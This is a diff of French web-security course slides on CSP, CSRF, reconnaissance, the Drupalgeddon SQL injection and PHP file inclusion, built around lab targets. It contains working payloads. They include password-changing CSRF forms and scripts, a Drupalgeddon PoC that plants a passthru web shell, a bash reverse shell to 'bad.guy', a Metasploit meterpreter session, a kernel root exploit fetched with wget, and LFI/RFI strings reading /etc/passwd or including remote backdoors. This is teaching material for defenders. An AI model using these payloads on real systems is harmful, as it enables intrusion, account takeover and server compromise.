Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found

Target

Select target project
  • vimazeno/blog.limos.fr
  • matrossevi/blog.limos.fr
  • borlonjo/blog.limos.fr
3 results
Show changes
Showing
with 2372 additions and 141 deletions
# CSP
## a.k.a. Content Security Policy
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
* En-tête renvoyée côté serveur
* protéger son contenu
* protéger ses utilisateurs
* possibilité de reporting
* quelles tentatives ont été menées
* https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
```http
Content-Security-Policy:
script-src 'self' https://apis.google.com;
frame-src 'none'
```
* informera le browser que
* seuls les scripts en provenance de la page elle même et de apis.google.com pourront être exécutés
* les balises iframes ne doivent pas être interprétées
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
![CSP](images/xss/csp.png "CSP")<!-- .element style="text-align: center" -->
* [<i class="fa fa-newspaper-o"></i> Why is CSP Failing? Trends and Challenges in CSP Adoption](mweissbacher.com/publications/csp_raid.pdf)
Note:
- couvre le cas d'un XSS js dans une balise src
- couvre également le cas d'une iframe qui recouvre une page légitime
### <i class="fa-solid fa-bomb"></i> CSP / low
```http
Content-Security-Policy:
script-src 'self' https://pastebin.com hastebin.com
www.toptal.com example.com code.jquery.com
```
* écriture d'un fichier js sur l'hôte local via une autre faille [upload](upload.html) par exemple
### <i class="fa-solid fa-bomb"></i> CSP / low
* exécution directement sur [https://pastebin.com/raw/SAB3JTJc](https://pastebin.com/raw/SAB3JTJc)
* réponse pastebin
```http
...
X-Content-Type-Options: nosniff
...
```
### <i class="fa-solid fa-bomb"></i> CSP / low
* ne fonctionne pas depuis Firefox 72
* l'entête [X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) force la désactivation du [MIME sniffing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#mime_sniffing)
* https://www.komodosec.com/post/mime-sniffing-xss
* https://medium.com/@puneet29/what-is-mime-sniffing-4f402d303dc8
# CSRF
## aka Cross-Site Request Forgery
### <i class="fas fa-cogs"></i> CSRF
* affecte toute ressource disponible directement
* sans étape intermédiaire
* avec authentification
* usurpation de session
* ou pas
* redirection arbitraire
### <i class="fas fa-cogs"></i> CSRF
![alt text](images/csrf/csrf.png "CSRF")
Note:
- rappel ici mail, mais aussi
- XSS
- lien déguisé
- url shortner
### <i class="fas fa-ice-cream"></i> CSRF / types
* urls / formulaires forgés relayés via [XSS](xss.html)
* redirections arbitraires relayés via [XSS](xss.html)
* social engineering
* initulé de lien malicieux
* url shortner
* phishing
* par mail
* par [XSS stored](xss.html)
### <i class="fa-solid fa-bomb"></i> CSRF / payload
* le but est de rediriger un utilisateur vers une url
* à l'insu de son plein gré
* exécuter des opérations avec les permissions d'un autre utilisateur
* envoyer du spam (de commentaire)
Note:
- l'action avec privilège
- urls connues (CMS, ...)
- on espère que l'utilisateur est logué
- spam de commentaire
- urls connues (CMS, ...)
### <i class="fa-solid fa-bomb"></i> CSRF / low
```
New password: pipo
Confirm new password: pipo
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
* via GET en injectant
```http
<iframe
src="javascript:window.location='http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';"
height="0" width="0" style="border:0;">
</iframe>
```
* possible via POST avec en scriptant
```http
<form action="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid"
onload="document.getElementById('formid').submit();">
<input type="hidden" name="password_new" value="1337"/>
<input type="hidden" name="password_conf" value="1337"/>
</form>
```
Note:
- analyser la requête de changement de mot de passe avec burp
- forger une url
- forger un form
- injecter via XSS stored par exemple
- problème de l'action silencieuse et aveugle
- on ne sait pas sur qui ca marche
- si on a une liste des utilisateurs du site le brute force est un option
### <i class="fa-solid fa-bomb"></i> CSRF / medium
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
```
That request didn't look correct.
```
<small>comparaison requête forgée VS légitime <i class="fa-solid fa-right-long"></i> filtrage par referer</small>
```
if( stripos( $_SERVER[ 'HTTP_REFERER' ],
$_SERVER[ 'SERVER_NAME' ]) !== false ) {
```
<i class="fa-solid fa-circle-check"></i> ajouter un header via **burpsuite**
```
Referer: http://dv.wa/
```
<i class="fa-solid fa-circle-check"></i> passer par [XSS (stored) / low](http://dv.wa/vulnerabilities/xss_s)
```
Name: CSFR
Message: <img src="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" />
```
### <i class="fa-solid fa-bomb"></i> CSRF / high
* **session token** dans un nouveau champs caché du formulaire
```
<input
type="hidden"
name="user_token"
value="840473d541a2e5e4b28e39cc31762f9d">
```
* le **session token** peut aussi se trouver dans l'url
* éventuellement salaison propre à l'utilisateur
* IP, user-agent
* ajout d'entropie
### <i class="fas fa-medkit"></i> CSRF / high / session token
![alt text](images/csrf/csrf-stp.png "CSRF")
### <i class="fa-solid fa-bomb"></i> CSRF / high
<small><i class="fa-solid fa-circle-xmark"></i>[/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#)</small>
<i class="fa-solid fa-lightbulb"></i> procéder en 2 temps
1. récupérer la valeur du session token
2. jouer la requête CSRF avec le session token
Possible via une [XSS](XSS.html) (mais cassé)
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload js
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js](https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js)</small>
```
function getToken() {
var token='&user_token='
+ document
.getElementById("get_token")
.contentDocument
.getElementsByName("user_token")[0]
.value;
var link = "http://dv.wa/"
+ "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
+ token;
document.getElementById("play_CSRF").src=link;
}
```
<i class="fa-solid fa-triangle-exclamation"></i> Ne marchera que sur dv.wa
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload XSS
<i class="fa-solid fa-lightbulb"></i> cacher les iframes
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js"></script>
Mine de rien
<iframe
id="get_token"
src="http://dv.wa/vulnerabilities/csrf/"
onload="getToken()" style="display:none"></iframe>
<iframe id="play_CSRF" style="display:none"></iframe>
```
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html)
<i class="fa-solid fa-triangle-exclamation"></i> A jouer dans [XSS / high](XSS.html)
### <i class="fa-solid fa-bomb"></i> CSRF / high / xhr / payload
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js](https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js)</small>
```
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://dv.wa/vulnerabilities/csrf/', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
var token = xhr.response.getElementsByName('user_token')[0].value;
};
xhr.send();
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://dv.wa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true);
xhr2.send();
```
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js
```
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) & jouer dans [XSS / high](XSS.html)
### <i class="fa fa-medkit"></i> CSRF / Se préserver
* **Fausses Bonnes Idées**
* utiliser la méthode POST
* vérifier le referer (ou n'importe quelle autre en-tête)
* Session token
* Double Submit Pattern
### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
* adapté à une utilisation massive de JS
* basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy)
* A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur
```js
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
expires=Thu, 23-Jul-2015 10:25:33 GMT;
Max-Age=31449600;
Path=/
```
### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
* JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
```js
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
```
* Le serveur vérifie la validité du token
* [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
\ No newline at end of file
......@@ -78,7 +78,7 @@ Note:
* la malformation des paquets réseaux bas niveau nécessite les droits de root
## [nmap](https://nmap.org/)
<!--## [nmap](https://nmap.org/)
* -sV détection de la version des services
* teste le service attendu
......@@ -87,8 +87,8 @@ Note:
* nudge packets - malformés
* -p spécifie le port / le range de port
* -p- TOUS les ports
-->
<!--
## [nmap](https://nmap.org/)
* -sC passe les scripts non intrusifs
......@@ -108,8 +108,7 @@ Note:
- [nessus](http://www.tenable.com/products/nessus-vulnerability-scanner)
- [w3af](http://w3af.org/)
- [ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) en scanner de vulnaérbilité
-->
## Analyse de code / client side
* Signatures de CMS
......@@ -163,35 +162,13 @@ Note:
* [Wappalyzer](http://wappalyzer.com)
* [BlindElephant Web Application Fingerprinter](http://blindelephant.sourceforge.net/)
* [Supporter par Qualys](http://www.qualys.com/blindelephant)
* <i class="fa fa-github"></i> [Dionach/CMSmap](https://github.com/Dionach/CMSmap)
* [CMS Detector](http://guess.scritch.org/)
* <i class="fab fa-github"></i> [Dionach/CMSmap](https://github.com/Dionach/CMSmap)
* [CMS explorer](https://hackertarget.com/cms-explorer/)
* [Ermis CMS Security Scanner](https://addons.mozilla.org/fr/firefox/addon/ermis-cms-security-scanner/)
* spécialisés
* [WPScan](http://wpscan.org/)
* inclus les plugins vulnérables
## Gestion de sessions
* [SID](http://php.net/manual/fr/session.idpassing.php)
* copier le SID ouvre une session
* /server-status [mod_status](https://httpd.apache.org/docs/2.4/mod/mod_status.html)
* cookie
* copier le cookie ouvre une session
* regarder s'il y d'autres paramètres
* SID prédictibles?
* patterns triviaux
* la recherche de non [entropie](https://fr.wikipedia.org/wiki/Entropie_de_Shannon)
* tomber sur une session en cours
Note:
- paramètre dans cookie cf TP
- [Entropy analysis tools](http://sourceforge.net/p/entropyanalysis/code/ci/master/tree/)
- [Entropy analysis tools](https://github.com/ulikoehler/entropy-analysis-tools)
- toujours le même résultat : entropie nulle
## Spidering
* Arborescence
......@@ -282,6 +259,24 @@ Note:
- trouve le phpmyadmin
## [<i class="fab fa-github"></i> patator](https://github.com/lanjelot/patator)
* [Produit HSC](http://www.hsc.fr/ressources/outils/patator/download/README)
* Brute force en tout genre
* Fuzzing http
* on peut tester tous les paths de FILE
* avec tous les rep de FILE0
* tous les noms de fichiers de FILE1
* toutes les extensions de fichiers FILE2
<pre><code data-stream class="hljs bash" style="font-size: 14px">patator.py http_fuzz url=http://client/FILE0/FILE1FILE2 0=paths.txt 1=files.txt 2=exts.txt --ignore=404</code></pre>
<small>[<i class="fa fa-film"></i> Patator -- Brute-Force Attack And Dns Reverse And Forward Lookup](http://www.securitytube.net/video/7060)</small>
Note:
- utilisation dans burp possible aussi
## Fuzzing
* Fuzzing
......@@ -303,7 +298,7 @@ Note:
* des codes http inattendus
* tout ce qui se différencie du cas normal
#### [<i class="fa fa-github"></i> fuzzdb](https://github.com/fuzzdb-project/fuzzdb) dictionnaire de fuzzing
#### [<i class="fab fa-github"></i> fuzzdb](https://github.com/fuzzdb-project/fuzzdb) dictionnaire de fuzzing
Note:
- mode comparaison de burb
......@@ -311,37 +306,6 @@ Note:
- spidering VS guessing
## [DirBuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
* Produit [OWASP](https://www.owasp.org)
* Copie en locale
* Peut spécifier
* une liste de pattern
* du brute force pure
* itératif
* des extensions de fichiers (bak, tmp, new, ...)
<small>[Hack Like a Pro: How to Find Directories in Websites Using DirBuster](http://null-byte.wonderhowto.com/how-to/hack-like-pro-find-directories-websites-using-dirbuster-0157593/)</small>
## [<i class="fa fa-github"></i> patator](https://github.com/lanjelot/patator)
* [Produit HSC](http://www.hsc.fr/ressources/outils/patator/download/README)
* Brute force en tout genre
* Fuzzing http
* on peut tester tous les paths de FILE
* avec tous les rep de FILE0
* tous les noms de fichiers de FILE1
* toutes les extensions de fichiers FILE2
<pre><code data-stream class="hljs bash" style="font-size: 14px">patator.py http_fuzz url=http://client/FILE0/FILE1FILE2 0=paths.txt 1=files.txt 2=exts.txt --ignore=404</code></pre>
<small>[<i class="fa fa-film"></i> Patator -- Brute-Force Attack And Dns Reverse And Forward Lookup](http://www.securitytube.net/video/7060)</small>
Note:
- utilisation dans burp possible aussi
## <i class="fa fa-medkit"></i> Se protéger
* Bien configurer son serveur
......
## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->
## système vulnérable
* Wheezy [Debian 7.0.0 – amd64 – netinst](http://www.debiantutorials.com/download-debian-iso/)
* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
* le couper juste après la conf du DHCP à l'install
* à l'installation
* surtout pas d'upgrade pour garder un kernel vulnérable
**Nous disposons d'une machine vulnérable à un**
**[Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)**
## Drupal vulnérable
* [drupal 7.X](https://www.drupal.org/drupal-7.31-release-notes) < 7.32 déployé, configuré selon la [doc](https://www.drupal.org/node/394704)
```shell
$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\ -f1`
$ chown -R $HTTPDUSER sites/default/files
$ chmod -R 0700 sites/default/files
```
* les images [ova sont là](https://gitlab.com/mazenovi/webSec)
## Trouver un système vulnérable sur le www
[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)
[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)
## Trouver un système vulnérable sur le www
* ne filtrer que les drupal vulnérables
* [<i class="fab fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)
```http
$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...
```
## La faille
* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
* Version: 7.x < 7.32
* Date: 2014-October-15
* Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)
## La faille
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value
}
}
```
* $i est un index de tableau de variables HTTP
* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
* il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
## La faille
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
/* patched version begin */
foreach (array_values($data) as $i => $value) {
/* patched version end */
$new_keys[$key . '_' . $i] = $value
}
}
```
* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique
Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
- code drupal compliqué ou mal fait
## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques
## Timeline côté attaquant
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…
## Exploitation manuelle
remplacer
```html
<input id="edit-name" name="name" type="text">
```
par
```html
<input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
```
![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->
Note:
- mettre un mot de passe
## PoC
[<i class="fab fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)
```php
$url = $argv[1];
$sql = $argv[2];
$sql = str_replace('{', '\' , CHAR(123), \'', $sql);
$sql = str_replace('}', '\' , CHAR(125), \'', $sql);
$sql = str_replace('[', '\' , CHAR(91), \'', $sql);
$sql = str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);
//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
```
```shell
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```
## Admin user
* [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/)
```shell
python2 drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337
```
* représente 26% d'utilisation de la faille
* industrialisé pour vendre du viagra
![viagra](images/drupalgeddon/viagra.jpg "viagra")<!-- .element class="fragment roll-in" -->
## Backdoor
rerésente 68% des attaques
Simple backdoor shell
```php
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
echo "<pre>";
passthru($_REQUEST["cmd"]);
die;
}
phpinfo();';
```
* [passthru()](http://php.net/manual/fr/function.passthru.php)
* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)
## Backdoor
* Architecture Drupal
* menu_router
* un url = un callback + un tableau d'arguments sérialisés
```sql
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
```
Payload
```php
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
```
[http://drup.al/backdoor](http://drup.al/backdoor)
Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
- automatisable à souhait
## exploitation
```shell
$ php attack/exploit.php 'http://drup.al'
```
* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
* affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
* affiche les paramètres SQL
## exploitation
```shell
nc -lvvp 1337
```
met le poste de l'attaquant en écoute sur le port 1337
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
```
en version encodée
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0
```
* connecte le serveur sur l'IP de l'attaquant
Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
- analyse des ping wireshark
- [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
- sur ma maquette ca marche aussi sur le port 80 ...
## metasploit
[exploit Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb)
```shell
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set RHOST drup.al
msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(drupal_drupageddon) > set LHOST bad.guy
msf exploit(drupal_drupageddon) > exploit
[&#10035;] Started reverse handler on 172.16.76.145:4444
meterpreter > shell
whoami
www-data
```
![YES](images/drupalgeddon/yes.jpg "YES")<!-- .element class="fragment roll-in" width="200px"-->
Note:
- l'autocomplétion avec tabulation
- Port à rerouter of course
## escalade de privilèges
* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
* environ tous les 2 ans
* [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
* fonctionne sur les archi 64bits uniquement
* kernel de 2.6.37 à 3.8.10
```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
```
## W00T
![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->
## Moralité
* un malheur n'arrive jamais seul
* [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
* tout doit être à jour
* système, lib, cms, services, ...
* mieux vaut s'appuyer sur des communautés
* réactives
* préoccupées par la sécurité
* bien suivre les mises à jour des produits
* et patcher asap quand nécessaire
# File Inclusion
## aka LFI / RFI
### <i class="fas fa-cogs"></i> File Inclusion
* paramètres HTTP non filtrés
```php
include($_REQUEST['filename']);
```
* permet
* d'exécuter du code distant
* d'exécuter du code localement
* accéder à des fichiers locaux sensibles
* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
### <i class="fas fa-ice-cream"></i> File Inclusion / types
* Local File inclusion
* Remote File inclusion
### <i class="fa-solid fa-bomb"></i> LFI / low
* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
* [/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
* marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ...
* marche pas avec `/etc/shadow`
Note:
- open base dir
- pas ou mal configiuré
- par défaut ispconfig
- anciennement safe_mode
### <i class="fa-solid fa-bomb"></i> LFI / low
* paths absolus / paths relatifs (../.. ou ..\\..)
* linux `/etc/passwd`, `../../../../../etc/hosts`
* windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts`
* [/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
* boucle infinie = ca marche
* invalider par (include|require)&lowbar;once
### <i class="fa-solid fa-bomb"></i> RFI
* inclusion de code arbitraire
* Backdoor ou Remote shell
* dépend de la configuration de php `/etc/php/7.4/apache2/php.ini`
```ini
allow_url_include=On # just for test purpose
```
`$ sudo systemctl restart apache2`
<i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option!
### <i class="fa-solid fa-bomb"></i> RFI / low
* <small>[/?page=http://perdu.com](http://dv.wa/vulnerabilities/fi/?page=http://perdu.com)</small>
* <i class="fas fa-poop"></i> drôle mais pas très utile
* <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <small>[/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://dv.wa/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <i class="fa-solid fa-poo"></i> un peu frustrant
### <i class="fa-solid fa-bomb"></i> FI / payloads / backdoor
* Basiquement permet d'exécuter du code et / ou des commandes systèmes
* version artisanale
```php
echo passthru($_GET['cmd']);
```
* version plus robuste
* [<i class='fab fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
### <i class="fa-solid fa-bomb"></i> RFI / payloads / backdoor
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls) <i class="fa-solid fa-thumbs-down"></i></small>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small>
### <i class="fa-solid fa-bomb"></i> RFI / security medium
```php
$file = str_replace(
array( "http://", "https://" ),
"",
$file
);
```
<small>
* [/?page=hthttp://tp://www.google.fr](http://dv.wa/vulnerabilities/fi/?page=hthttp://tp://www.google.fr)
* échapper l'échappement
* [/?page=php://filter/convert.base64-encode/resource=file1.php](http://dv.wa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php)
* récupère le code source php du fichier file1.php
* [/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=](http://dv.wa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=)
* exécute `<?php system("hostname"); ?>`
</small>
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
### <i class="fa-solid fa-bomb"></i> LFI / security medium
```php
$file = str_replace(
array( "../", "..\\" ),
"",
$file
);
```
<small>
* [/?page=../../../../../etc/hosts](http://dv.wa/vulnerabilities/fi/?page=../../../../../etc/hosts)
* ne fonctionne plus
* [/?page=../..././..././..././..././..././etc/hosts](http://dv.wa/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* permet d'échapper l'échappement
* [/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* Les paths absolus fonctionnent toujours
</small>
### <i class="fa-solid fa-bomb"></i> LFI / security high
```php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
```
<small>
* accès au fichier caché
* [/?page=file4.php](http://dv.wa/vulnerabilities/fi/?page=file4.php)
* [wrapper file](https://www.php.net/manual/en/wrappers.file.php)
* [/?page=file:///etc/hosts](http://dv.wa/vulnerabilities/fi/?page=file:///etc/hosts)
* le dossier file n'existe pas mais php résout tout de même
* [/?page=file/../../../../../../etc/hosts](http://dv.wa/vulnerabilities/fi/?page=file/../../../../../../etc/hosts)
### <i class="fa fa-medkit"></i> open_base_dir
* [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
* le chemin vers le fichier est analysé
* si le fichier est à l'extérieur des dossiers spécifiés
* PHP refuse d'y accéder
* les liens symboliques sont résolus
* il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
### <i class="fa fa-medkit"></i> open_base_dir
* `.` inclue le fichier lui-même
* problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
* valeur typique
```ini
/var/www/:/usr/share/php:/tmp
```
Note:
- utilisé et configuré en automatique dans ISPConfig
- on peut désactiver chdir ...
### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
* [realpath()](http://php.net/manual/fr/function.realpath.php)
* converti tous les *.* et **..** en path absolue
* retourne null pour un path inexistant
* [basename()](http://php.net/manual/fr/function.basename.php)
* extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal
### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = $_GET['user'];
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
peut être sécurisé via [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
ne préserve pas d'une LFI dans le même répertoire
### <i class="fa fa-medkit"></i> Se préserver
